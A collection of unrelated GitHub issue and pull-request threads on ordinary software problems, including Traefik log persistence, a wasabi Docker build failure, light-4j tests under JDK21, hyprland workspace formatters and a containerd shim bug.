* R [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-9 | run_scala_cluster.sh ] (0)
* R [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-10 | run_scala_cori.sh ] (5)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-11 | src/main/scala/com/sparkfits/DefaultSource.scala ] (67)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-12 | src/main/scala/com/sparkfits/FitsLib.scala ] (2)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-13 | src/main/scala/com/sparkfits/FitsRecordReader.scala ] (5)
* A [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-14 | src/main/scala/com/sparkfits/FitsSourceRelation.scala ] (413)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-15 | src/main/scala/com/sparkfits/ReadFits.scala ] (9)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-16 | src/main/scala/com/sparkfits/package.scala ] (464)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-17 | src/test/scala/com/sparkfits/ReadFitsTest.scala ] (69)
* M [ https://github.com/JulienPeloton/spark-fits/pull/28/files#diff-18 | src/test/scala/com/sparkfits/packageTest.scala ] (99)

Patch Links:
* [ https://github.com/JulienPeloton/spark-fits/pull/28.patch | https://github.com/JulienPeloton/spark-fits/pull/28.patch ]
* [ https://github.com/JulienPeloton/spark-fits/pull/28.diff | https://github.com/JulienPeloton/spark-fits/pull/28.diff ]

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, [ https://github.com/JulienPeloton/spark-fits/pull/28 | view it on GitHub ] , or [ https://github.com/notifications/unsubscribe-auth/AByTPgeYsbQY-46cQ2OPZ29YW6mxQdM4ks5tnMQ-gaJpZM4TOZS6 | mute the thread ] .
--
| Christian Arnault |
| LAL Bat 200 pièce 02 |
| 91405 Orsay CEDEX |
| phone : (33) 1 64 46 84 24 |
| gsm : (33) 6 77 27 62 30 |
| fax : (33) 1 69 07 94 04 |

e-mail<EMAIL_ADDRESS>

Previous post moved here.


Inaccessible Nodes timeout Panel

I had a node that was setup on a temporary VPS for testing purposes. Deleting the VPS makes the node unavailable, and the panel times out trying to access it.

What page were you on?

Any and all pages will time out. Viewing a specific server, index, list of nodes, account settings, doesn't matter.

Noting for reference:
This occurs because the browser is waiting for the server-status call to finish on the index page before letting you then redirect when you've clicked a link. Unsure why it's doing that and don't have a way to fix it atm.


Migration

Adds 5 core components as tables modeled in sea ORM.
TODO:

[ ] Predicate Groups
[ ] Predicate Expressions
[ ] Expression Cost (on the diagram there is only plan group cost which I think is wrong?)
[ ] Predicate Group Cost
[ ] Query Instance + Epochs

❯ sqlite3 optd-persistent/sqlite.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
cascades_group           logical_property         physical_property
logical_expression       physical_expression      seaql_migrations
logical_group_junction   physical_group_junction
sqlite> .schema

@connortsui20 Could you add the .schema output in the description of this PR? It could be very helpful for people who look at it in the future.

@connortsui20 Could you add the .schema output in the description of this PR? It could be very helpful for people who look at it in the future.

I was planning on doing that later when we have actually figured out everything, but we can do it now too.

For people new to Opt-D: Use dbdiagram.io to visualize the DBML file


Log files not persisted on container restart

Welcome!

[X] Yes, I've searched similar issues on GitHub and didn't find any.
[X] Yes, I've searched similar issues on the Traefik community forum and didn't find any.

What did you do?
The defined log files (traefik.log and access.log) on the host are wiped and start afresh when the container is restarted. This behaviour seems to be specific to v3 as it does not seem to be present on v2 with the same configuration.
What did you see instead?
Logs should remain if the container restarts - file should be appended.
What version of Traefik are you using?
Version:      3.0.0
Codename:     beaufort
Go version:   go1.22.2
Built:        2024-04-29T14:25:59Z
OS/Arch:      linux/amd64
What is your environment & configuration?
  traefik:
    container_name: "traefik"
    image: "traefik:latest"
    restart: "unless-stopped"
    depends_on:
      - cetusguard
    networks:
      - "cetusguard"
      - "traefik"
    healthcheck:
    # Run traefik healthcheck command
    # https://doc.traefik.io/traefik/operations/cli/#healthcheck
      test: ["CMD", "traefik", "healthcheck", "--ping"]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 5s
    ports:
      # To be able to listen on port 80 (http)
      - mode: host
        published: 80
        target: 80
        protocol: tcp
      # To be able to listen on port 443 (https)
      - mode: host
        published: 443
        target: 443
        protocol: tcp
      # To enable HTTP/3 (QUIC)
      - mode: host
        published: 443
        target: 443
        protocol: udp
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    secrets:
      - do_auth_token
    environment:
      - DO_AUTH_TOKEN_FILE=/run/secrets/do_auth_token
    volumes:
      - type: bind
        source: /etc/localtime
        target: /etc/localtime
        read_only: true
      - type: bind                                                    # Location of data folder
        source: /etc/traefik/data
        target: /data
      - type: bind
        source: /var/log/traefik
        target: /var/log/traefik
      - type: bind                                                    # Location to write certificates to
        source: /etc/traefik/acme/acme.json
        target: /acme.json
      - type: bind
        source: /etc/traefik/traefik.yml                              # Static Traefik Configuration
        target: /etc/traefik/traefik.yml
        read_only: true
      - type: bind
        source: /etc/traefik/conf.d
        target: /etc/traefik/conf.d
        read_only: true

traefik.yml
log:
  filePath: "/var/log/traefik/traefik.log"
  level: DEBUG
  maxBackups: 5

accessLog:
  filePath: "/var/log/traefik/access.log"
  bufferingSize: 20
  filters:
    statusCodes:
      - "204-299"
      - "400-499"
      - "500-599"
    retryAttempts: true

If applicable, please paste the log output in DEBUG level
No response

Hello @Erasure5959 ,
Thank you for your interest in Traefik.
I have submitted a PR that updates the behavior to be consistent with version 2.


fix: click selector differently to prevent invisible Node

Summary
I basically run into an issue where expect(page).toClick(selector) was throwing "Node is either not visible or not an HTMLElement". I dig into this problem a little further and came to following comment: https://github.com/puppeteer/puppeteer/issues/2977#issuecomment-412807613
Test plan

The only screenshots I can provide are the "quick'n'dirty node_modules inline code changes" 🚀
1. Providing the fix

2. Providing the old execution

Can you add a test for this and fix the failing tests?

@UziTech sorry I was in a hurry yesterday and just edited the files in GH. I cloned the repo locally and added everything properly.

It seems like this issue would be better addressed by changing the way element.click() works instead of changing expect().toClick().

It looks like this PR doesn't use the current options available like which button to click with, how many times to click, and milliseconds between mousedown and mouseup.

Hugh, missed that one too!

It seems like this issue would be better addressed by changing the way element.click() works in puppeteer instead of changing expect().toClick() in jest-puppeteer.

Since this issue has been addressed by couple of others already, I don't know if puppeteer will change that. But sure, I could raise another issue there and try it.

I believe this is the error that would need to be fixed in puppeteer if you want to try there:
https://github.com/puppeteer/puppeteer/blob/943477cc1eb4b129870142873b3554737d5ef252/src/common/JSHandle.ts#L423
basically waiting for the transition to end before getting the "clickable point"


make the active window's icon a different colour

Is it possible to introduce styling of workspace icons?
I would love to be able to give the icon of the active window a different colour so that it stands out among the other windows. This would also have the benefit of being able to remove the square brackets currently being used.
Is this possible? Would it conflict with waybar's styling?

Good question, in the futur version the span color will work, after, if we want to enable the color ONLY for the active workspace there is more work I think or trick to find.
I will think about it.

Just to clarify, I'd like to use span color for the active "window" on a workspace, not for the active "workspace". I think maybe you just mis-typed "workspace".
As an example, if I have three windows open on the current workspace, I would like to span color just the icon of the active window.

I'm tired and missread but I will to think about this and try things. I will keep you in touch when this topic move. 👍

Is it possible to introduce styling of workspace icons?
I would love to be able to give the icon of the active window a different colour so that it stands out among the other windows. This would also have the benefit of being able to remove the square brackets currently being used.
Is this possible? Would it conflict with waybar's styling?

Good idea, I think it should be doable.
In my opinion, it could be taken from code and made accessible in config in style like
defaults:
delim=" "
workspace="{id}: {clients}"
client="{client}" # generic app/client
active_client="{client}" #priority over app
dup_client="{client}{s_count}" #s_count - superscripted count of clients on the workspace, but {count} should be available too

so you could modify it as you wish, for example:
delim=" " # NARROW NO-BREAK SPACE
workspace="{id}{clients}" # https://docs.gtk.org/Pango/pango_markup.html
client="{client}" # generic client
active_client="{client}" #priority over generic client
dup_client="{client}{s_count}"

I just made a {WIP] PR for generalizing delimiter https://github.com/cyrinux/hyprland-autoname-workspaces/pull/47, other things could be implemented similarly.

Very good design to be adopt for the future yes. We will add a [format]  config section for this and try to reach this.

I start implementing this.

FYI, I reach a step where I can have formatter working BUT not yet active window formatter. It needs a more bigger refactor and studies as we need to go in async mode now for this.

@ehula @psimovec @maximbaz  can you try the following PR please ?  https://github.com/hyprland-community/hyprland-autoname-workspaces/pull/49
The formatters are available - but WIP.  The one for the active window is not yet available. More refactoring of the code is needed but I should come then.
You can git checkout feat/add-formatters then cargo run and check the README and config.toml.example for new formatters.
Don't hestate to ask me questions. I will be happy to read you 🙏🏻

Batch 1 of the formatter is merge in master. I will try to refactor in async now to support the active events.

You can try this PR if you want https://github.com/hyprland-community/hyprland-autoname-workspaces/pull/50

Nice update, I can adjust the workspaces quite well now, I am playing with the settings

Just some details I found:
I am trying on master for now, the delimiter got broken. On my PR afaik it was always between clients (before 2nd+ client on each workspace), now it is before or after every screen.

Another issue I found.. I guess the biggest problem is I can't properly sort by id in the wlr/workspaces module of waybar, so there is the sort by name..
And I saw in code, that if there is no client on workspace, the workspace does not get renamed at all, which breaks the sort (as otherwhise there would be some <span... on start in my case

Nice update, I can adjust the workspaces quite well now, I am playing with the settings
Just some details I found: I am trying on master for now, the delimiter got broken. On my PR afaik it was always between clients (before 2nd+ client on each workspace), now it is before or after every screen.
Another issue I found.. I guess the biggest problem is I can't properly sort by id in the wlr/workspaces module of waybar, so there is the sort by name.. And I saw in code, that if there is no client on workspace, the workspace does not get renamed at all, which breaks the sort (as otherwhise there would be some <span... on start in my case

Thanks for the tests @psimovec I will try to fix the bug if I well understand them. Will tell you if I need more informations.

I push some fixes try on #50 that also include active window detection

Nice update, I can adjust the workspaces quite well now, I am playing with the settings
Just some details I found: I am trying on master for now, the delimiter got broken. On my PR afaik it was always between clients (before 2nd+ client on each workspace), now it is before or after every screen.
Another issue I found.. I guess the biggest problem is I can't properly sort by id in the wlr/workspaces module of waybar, so there is the sort by name.. And I saw in code, that if there is no client on workspace, the workspace does not get renamed at all, which breaks the sort (as otherwhise there would be some <span... on start in my case

Thanks for the tests @psimovec I will try to fix the bug if I well understand them. Can you share me the formatters you use to trigger the bug? Is it present with the default one? Will tell you if I need more informations.

delim=" " # NARROW NO-BREAK SPACE
client = "{icon}{delim}"
workspace=" {id} {clients} "
client_dup = "{icon}x{counter} "

And here you can see relevant workspace names:
workspace ID 2 ( 2    ) on monitor eDP-1:
	windows: 1
	hasfullscreen: 0
	lastwindow: 0x560460063540
	lastwindowtitle: Messenger — Mozilla Firefox

workspace ID 3 ( 3    ) on monitor eDP-1:
	windows: 2
	hasfullscreen: 0
	lastwindow: 0x56045f9135f0
	lastwindowtitle: Signal

workspace ID 1 (1) on monitor eDP-1:
	windows: 0
	hasfullscreen: 0
	lastwindow: 0x0
	lastwindowtitle:

The bug triggers when you have a workspace without any clients open.
With default one I suppose the bug doesn't happen, as by default workspaces are named {id}: ... so if the workspace is not renamed, it's name is just {id} for me, so it doesn't affect the ordering.

Thanks @psimovec , you learn me btw some span tricks.
The empty workspace bug is fix in theory, I introduce a new workspace_empty formatter equal to {id} by default. Also I rename and pass to the formatters even the workspace with no clients.
Also, about the bad ordering, @maximbaz just add some information in the FAQ https://github.com/hyprland-community/hyprland-autoname-workspaces/wiki/FAQ.

https://github.com/hyprland-community/hyprland-autoname-workspaces/releases/tag/0.5.1 (and 0.5.2) out \o/


chore(page): change page layout to page component

fixes https://github.com/patternfly/patternfly-next/issues/974

This looks good to me. 👍


Added images of Orcas for the project

These are just some PNGs we could use in our website

Hello,
It seems like these pull requests are getting pushed to my account (the original template and repo). This may be because whoever forked the repository may not have made it their own. Be sure this template is no longer associated with the original files since I cannot accept any changes to the original branch. This may mean cloning the repo or downloading the files to another repository to which I do not have access and that you all own.
All the best,
Professor Burnley
———————
Sandy Burnley, Ph.D. (she/her)
English Literature, Animal Studies, & DH
Assistant Professor in CIS, Dept. of Sociology
Michigan State University
<EMAIL_ADDRESS>“Michigan State University occupies the ancestral, traditional and contemporary lands of the Anishinaabeg – Three Fires Confederacy of Ojibwe, Odawa and Potawatomi peoples. The university resides on land ceded in the 1819 Treaty of Saginaw.”
On Dec 5, 2022, at 8:25 AM, Corundum248<EMAIL_ADDRESS>wrote:
These are just some PNGs we could use in our website

You can view, comment on, or merge this pull request online at:
https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7https://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5q9dBjzG$
Commit Summary

8e4e803https://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7/commits/8e4e803894435a6135fc4ec8c891417014e01a9f__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5vSRoOlO$ Add files via upload

File Changes
(2 fileshttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7/files__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5moQo4QZ$)

A assets/img/portfolio/Orca_graphic.pnghttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7/files*diff-dd5db97315e7c0d41aeab1b3d3e342c9e67c7df9b519f648e436bd9cde1ec135__;Iw!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5n9DmaqJ$ (0)
A assets/img/portfolio/bent_Orca_fin.pnghttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7/files*diff-67cd9f4cb00dd22d256ff9a85c82eb60859a0e286b727f8ab182a661006aeb0f__;Iw!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5vJteeDN$ (0)

Patch Links:

https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7.patchhttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7.patch__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5kBL1dIq$
https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7.diffhttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7.diff__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5o4zyC2a$

—
Reply to this email directly, view it on GitHubhttps://urldefense.com/v3/__https://github.com/Sandy-Burnley/ISS210FinalTemplate/pull/7__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5q9dBjzG$, or unsubscribehttps://urldefense.com/v3/__https://github.com/notifications/unsubscribe-auth/AMLOHU3WOH5H7WVUDUMZVXLWLXUMPANCNFSM6AAAAAASUIWPRI__;!!HXCxUKc!09VVPql6CO-9Ob8Y6Ndtl4QLO_W_l9EGj7pV4m98E3TGuAa4gZt8zdpVPSWOIF1Ck6CCc7bJIp81Qnmb5qxpahlM$.
You are receiving this because you are subscribed to this thread.Message ID: @.***>


networkx extended datasets

Description
Kedro currently support networkx's json representation. Being able to select from other formats can be beneficial, for instance graph pickle (gpickle, higher performance) or graph xml (gml, interoperability with other graph tools) - both are supported by networkx.
Creating a PR with these additional datasets is straight-forward, however there is a design decision I'd like to raise.
Currently the networkx dataset structure is inconsistent with that of pandas:

pandas.CSVDataSet
pandas.ExcelDataSet
json.JsonDataSet
networkx.NetworkxDataSet

The addition of additional dataset formats would be an ideal time to refactor, however this introduces backwards incompatibility.
Context
These additional dataset formats have their use depending on the use case. Having complete support in kedro is low-effort.
Possible Implementation
Proposed:

pandas.CSVDataSet
pandas.ExcelDataSet
json.JsonDataSet
networkx.JsonDataSet
networkx.GmlDataSet
networkx.GpickleDataSet

Possible Alternatives
Alternatively, only extend the current datasets:

pandas.CSVDataSet
pandas.ExcelDataSet
json.JsonDataSet
networkx.NetworkxDataSet
networkx.GmlDataSet
networkx.GpickleDataSet

Hi @sbrugman this is a sensible request. The original NetworkX implementation was submitted via the community, would you be interested in submitting a PR?


Installation on Ubuntu got stuck

After running commands as prescribed wasabi is not starting.
Running following command I see mysql and casandra are there.
ubuntu@ip-10-1-38-148:~$ docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                                                     NAMES
ffae57b6bbb0        mysql:5.6           "docker-entrypoint..."   18 hours ago        Up 2 hours          <IP_ADDRESS>:3306->3306/tcp                                                    wasabi-mysql
09e9010139ad        cassandra:2.1       "/docker-entrypoin..."   18 hours ago        Up 2 hours          7000-7001/tcp, <IP_ADDRESS>:9042->9042/tcp, 7199/tcp, <IP_ADDRESS>:9160->9160/tcp   wasabi-cassandra

As next step I try to start wasabi main process with following command:
root@ip-10-1-38-148:/home/ubuntu/wasabi# ./bin/wasabi.sh start:wasabi
wasabi: building
unable to prepare context: unable to evaluate symlinks in context path: lstat /home/ubuntu/wasabi/modules/main/target: no such file or directory
wasabi: starting
Unable to find image 'wasabi-main:latest' locally
docker: Error response from daemon: repository wasabi-main not found: does not exist or no pull access.
See 'docker run --help'.
error: docker run --net=wasabi_nw --name wasabi-main -p 8080:8080 -p 8090:8090 -p 8180:8180 -e "WASABI_CONFIGURATION=-DnodeHosts=<IP_ADDRESS> -Ddatabase.url.host=<IP_ADDRESS>" -d wasabi-main

Checking images with following command confirms the issue - no wasabi main container for some reason:
root@ip-10-1-38-148:/home/ubuntu/wasabi# docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
wasabi-migration    latest              ae02f665bf47        17 hours ago        87.1 MB
wasabi-keyspace     latest              a7e45f7f035d        17 hours ago        84.8 MB
mysql               5.6                 a0f5d7301767        5 days ago          329 MB
cassandra           2.1                 d84db27baa34        2 weeks ago         357 MB
openjdk             jre-alpine          c017141bdaa8        4 weeks ago         81.4 MB
python              2-alpine            b63d02d8829b        4 weeks ago         71.5 MB

Any leads of what is wrong would be appreciated.
Thanks

Hello @malish8632,
What version of Ubuntu are you using? Also, can you make sure that './bin/wasabi.sh bootstrap' completes successfully without any errors? Sometimes in the bootstrap process, something will not get installed, and then the './bin/wasabi.sh build' command will fail to build.
Tariq

Hey guys, I seem to be running into a similar issue when I tried setting up wasabi on a new Ubuntu 16.04 machine and this is the error I ran into
/home/ubuntu/wasabi# ./bin/wasabi.sh start
wasabi: [Start] creating keyspace and migration schemas
cqlsh  --cqlversion="3.2.1"  -e "CREATE KEYSPACE IF NOT EXISTS wasabi_experiments WITH replication = {'class' : 'SimpleStrategy', 'replication_factor' : 1};" --username= --password="" wasabi-cassandra 9042
java -jar -Dcassandra.migration.keyspace.name=wasabi_experiments     -Dcassandra.migration.cluster.port=9042     -Dcassandra.migration.cluster.username=     -Dcassandra.migration.cluster.password=     -Dcassandra.migration.scripts.locations=filesystem:/wasabi/mutation    -Dcassandra.migration.cluster.contactpoints=wasabi-cassandra     /wasabi/cassandra-migration.jar migrate
Cassandra Migration 0.9
SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
Connected to cluster: Test Cluster
Data center: datacenter1; Host: wasabi-cassandra/<IP_ADDRESS>
Current version of keyspace wasabi_experiments: 036
Keyspace wasabi_experiments is up to date, no migration necessary
wasabi: [DONE] creating keyspace and migration schemas
Warning: Using a password on the command line interface can be insecure.
wasabi: building
unable to prepare context: path "modules/main/target/wasabi-main-1.0.20170418213834-SNAPSHOT-development" not found
wasabi: starting
Unable to find image 'wasabi-main:latest' locally
docker: Error response from daemon: repository wasabi-main not found: does not exist or no pull access.
See 'docker run --help'.
error: docker run --net=wasabi_nw --name wasabi-main -p 8080:8080 -p 8090:8090 -p 8180:8180 -e "WASABI_CONFIGURATION=-DnodeHosts=<IP_ADDRESS> -Ddatabase.url.host=<IP_ADDRESS>" -d wasabi-main

usage: container.sh [options] [commands]

options:
  -v | --verify [ true | false ]         : verify installation configuration; default: false
  -m | --migration [ true | false ]      : refresh cassandra migration scripts; default: false
  -s | --sleep [ sleep-time ]            : sleep/wait time in seconds; default: 3
  -h | --help                            : help message

commands:
  start[:wasabi,cassandra,mysql,docker]  : start all, wasabi, cassandra, mysql, docker
  stop[:wasabi,cassandra,mysql,docker]   : stop all, wasabi, cassandra, mysql, docker
  console[:cassandra,mysql]              : console all, cassandra, mysql
  status                                 : status
  remove[:wasabi,cassandra,mysql]]       : remove all, wasabi, cassandra, mysql

Any help is greatly appreciated, thanks in advance.

Having the same issue as described by @lakshyaranganath
Any updates yet?

I've got the same error on a clean Ubuntu 16.04. I don't have much experience with docker but the main error seems to be
Unable to find image 'wasabi-main:latest' locally
docker: Error response from daemon: repository wasabi-main not found: does not exist or no pull access.
See 'docker run --help'.
error: docker run --net=wasabi_nw --name wasabi-main -p 8080:8080 -p 8090:8090 -p 8180:8180 -e "WASABI_CONFIGURATION=-DnodeHosts=<IP_ADDRESS> -Ddatabase.url.host=<IP_ADDRESS>" -d wasabi-main

Ok, I'm not sure about the rest, but on my case it was an issue with writing permissions within the cloned folder. Once I got full writing permissions on the folder ./bin/wasabi.sh build start worked like a charm.

Hi, I also have the same problem..
Running the previous steps in sudo mode didn't change anything.
Does someone experiences this ?

I just ran into this exact same issue on OSX.
Unable to find image 'wasabi-main:latest' locally
docker: Error response from daemon: pull access denied for wasabi-main, repository does not exist or may require 'docker login'.
See 'docker run --help'.
error: docker run --net=wasabi_nw --name wasabi-main -p 8080:8080 -p 8090:8090 -p 8180:8180 -e "WASABI_CONFIGURATION=-DnodeHosts=<IP_ADDRESS> -Ddatabase.url.host=<IP_ADDRESS>" -d wasabi-main

I forgot to mention, even after signing into the Docker application, we received:
Unable to find image 'wasabi-main:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/library/wasabi-main/manifests/latest: unauthorized: incorrect username or password.
See 'docker run --help'.
error: docker run --net=wasabi_nw --name wasabi-main -p 8080:8080 -p 8090:8090 -p 8180:8180 -e "WASABI_CONFIGURATION=-DnodeHosts=<IP_ADDRESS> -Ddatabase.url.host=<IP_ADDRESS>" -d wasabi-main

This seems to be locked behind authentication now. Can one of the original authors please look at the authentication settings in the Docker Hub so that it's public and not behind a user/pass?
Thanks.

facing the same issue.

The fix for me was making sure I ran build start and not just start.  I had gone through a ton of trouble getting things working on an existing ubuntu server, then finally just built a fresh instance on DO and jumped the gun on the start command.  Everything is working now!
% ./bin/wasabi.sh build start


light-4j :(2.1.37)  is failing the Maven building using jdk21 on Mac machine

We'd like to upgrade our project to JDK21 but the Maven unit test build errors are preventing that.
Light4J Tag :
light-4j git:(2.1.37)
Java version used:
Java version "21.0.4" 2024-07-16 LTS
Java(TM) SE Runtime Environment (build 21.0.4+8-LTS-274)
Java HotSpot(TM) 64-Bit Server VM (build 21.0.4+8-LTS-274, mixed mode, sharing)
Maven Build Error:
[ERROR] Failures:
[ERROR]   ConsoleReporterTest.reportsCounterValues:102 expected:<"3/17/13, 6:04:36[ ]PM =================...> but was:<"3/17/13, 6:04:36[ ]PM =================...>
[ERROR]   ConsoleReporterTest.reportsGaugeValues:79 expected:<"3/17/13, 6:04:36[ ]PM =================...> but was:<"3/17/13, 6:04:36[ ]PM =================...>
[ERROR]   ConsoleReporterTest.reportsHistogramValues:139 expected:<"3/17/13, 6:04:36[ ]PM =================...> but was:<"3/17/13, 6:04:36[ ]PM =================...>
[ERROR]   ConsoleReporterTest.reportsMeterValues:176 expected:<"3/17/13, 6:04:36[ ]PM =================...> but was:<"3/17/13, 6:04:36[ ]PM =================...>
[ERROR]   ConsoleReporterTest.reportsTimerValues:222 expected:<"3/17/13, 6:04:36[ ]PM =================...> but was:<"3/17/13, 6:04:36[ ]PM =================...>
[INFO]
[ERROR] Tests run: 238, Failures: 5, Errors: 0, Skipped: 0
[INFO] metrics-config ..................................... FAILURE [  4.218 s]

I have reproduced the issue and I am working on it. Thanks for reporting it.

Hi @stevehu
I'm a bit worried about this solution (to ignore the failing tests). Do you have any indication of why these tests pass under JDK11 and JDK17 but fail in JDK21? My concern is that this is an indication of some deeper incompatibility

The test case failed due to the Powermock is not compatible with Java 21. Another issue with the ldap util is due to the test apache LDAP server doesn't work with Java 21. It hung during the init context with directory-based LDAP.  It works if you run it in the IDE though. I am guessing there are some timing issues but need more debugging. Thanks.

Here is the official document site for the Apache directory server and it supports Java 11 and Java 17. Java 21 is not supported. So our only option is to disable the test case if users want to build the light-4j with Java 21. Currently, we release light-4j jars with Java 11 in order to make sure that more Java base images can use the jar. We have tested with Java 11, 17, and 21 for http-sidecar and light-gateway. We are releasing snapshot version very frequently these days, may I know why you compile light-4j with Java 21? Thanks.

Hi @stevehu , thanks for looking into this. Your explanation makes sense.
As for JDK21: One reason we are looking at JDK21 because it currently has a longer official support Window than JDK17. Also -- in general -- we want to improve our JDK currency and ensure our applications work with the latest VMs (as well as earlier VMs). We got a bit stuck on JDK8 and do not want to repeat that.
We are still restricting our bytecode to Java 11 however.
Thanks again

It makes perfect sense to go with jdk21 at the moment; however, we have to consider different teams will move at different times in a big organization. To be on the safe side, we are still releasing binary jars in Java 11. There are teams using jdk11, 17, and 21 with java11 binary these days.


Threlte Color management obsolete?

Beginning with Version R139 of three.js it includes a maybe better but definitely different color management by opt-in: https://threejs.org/docs/#manual/en/introduction/Color-management
This might make threltes color management obsolete but it definitely needs a thorough look.

This might also fix the color differences in #87

The effect of THREE.ColorManagement, when enabled, is that hexadecimal and CSS colors are interpreted as sRGB by default, and converted automatically to Linear-sRGB (which otherwise needs to be done manually). Because all colors in HTML, CSS, and most color pickers are sRGB, this is a helpful convention for developers and designers. The THREE.Color RGB components, and other methods of accessing them, remain Linear-sRGB as before. There's a similar distinction between hexadecimal and RGB colors in Blender.
Fog, background, and WebGL clear color should also behave more predictably in this mode; without it they are special cases the user must know about and convert.
I'd recommend using THREE. ColorManagement in a new framework like threlte, but there's one major caveat to be aware of — it needs to be enabled before initializing colors, or it won't affect them.


[example]: adding an example of training dreambooth with the new booster API

Describe the feature
Adding an example of training dreambooth with the new booster API.
Opening this issue for pull request.

opened pull request https://github.com/hpcaitech/ColossalAI/pull/3905


User not found error

When running instadiff-cli with "follow" or "unfollow" parameters, one of the "--user USER" parameters may contain an incorrect user and the script exits with a "User not found" error as shown below.

It would be better if the script skipped the problematic user and ran to the end of the user list. In other words, the script should just throw a warning instead of an error.
Do you think this is feasible?

Hi @marceloavilaoliveira !
Thank you for your feedback. It's a fare point, and this is rather easy to implement. I'll add this behavior soon in next version

Hi @marceloavilaoliveira !
I've added the requested changes in new release v1.10.1

Grat, it worked pretty well.
Thanks a lot for all your support.


Lack of Unit Tests for Voice Command Processing

The repository currently lacks unit tests for critical features, such as voice command processing and error handling. This can lead to untested code paths, increasing the risk of bugs and regressions as the project scales. Implementing unit tests for valid and invalid command cases will ensure stability and reliability.

At now, this is not required because after transforming my project in python package, unit tests will be required.
Thanks for your interest.


After constructing the memory full fault, it occasionally occurs that the shim process associated with the pod has started multiple instances of the same container process

Description
Description
(1) Node construction memory full fault caused the drivermgmtservice container to restart during the fault injection period. The newly created container failed to start due to a timeout, and after the timeout failure, the task deletion also failed, resulting in the task remaining without exiting.
(2) After the fault was rolled back, the drivermgmtservice pod recreated the container. There were two cgroups existing simultaneously within the pod, and the overall memory resource limit of the pod was exceeded, leading to an OOM situation that triggered an oom-kill.
(3)The exited container cannot be deleted from within containerd
The container has exited, but the process is still running.

The shim process has started two instances of the same container process

containerd log:
time="2024-07-27T15:53:30.595810110+08:00" level=info msg="CreateContainer within sandbox "0ff7d5a1188b10ec603af71abad21bccf7222307f794b6759d3bb51997c0a25c" for &ContainerMetadata{Name:drivermgmtservice,Attempt:1,} returns container id "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417""
time="2024-07-27T15:53:30.598259700+08:00" level=info msg="StartContainer for "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417""
time="2024-07-27T15:57:06.823921410+08:00" level=error msg="Failed to pipe stdout of container "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417"" error="read /proc/self/fd/121: file already closed"
time="2024-07-27T15:57:06.835063690+08:00" level=error msg="Failed to pipe stderr of container "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417"" error="read /proc/self/fd/917: file already closed"
time="2024-07-27T15:58:49.532889780+08:00" level=error msg="Failed to delete containerd task "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417"" error="context deadline exceeded: unknown"
time="2024-07-27T15:58:53.865266810+08:00" level=error msg="StartContainer for "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417" failed" error="failed to start containerd task "1065792f7e8c14b5c041693a36a6a96bc97473eee8b3bc49602ec9ba5ff5b417": context deadline exceeded: unknown"
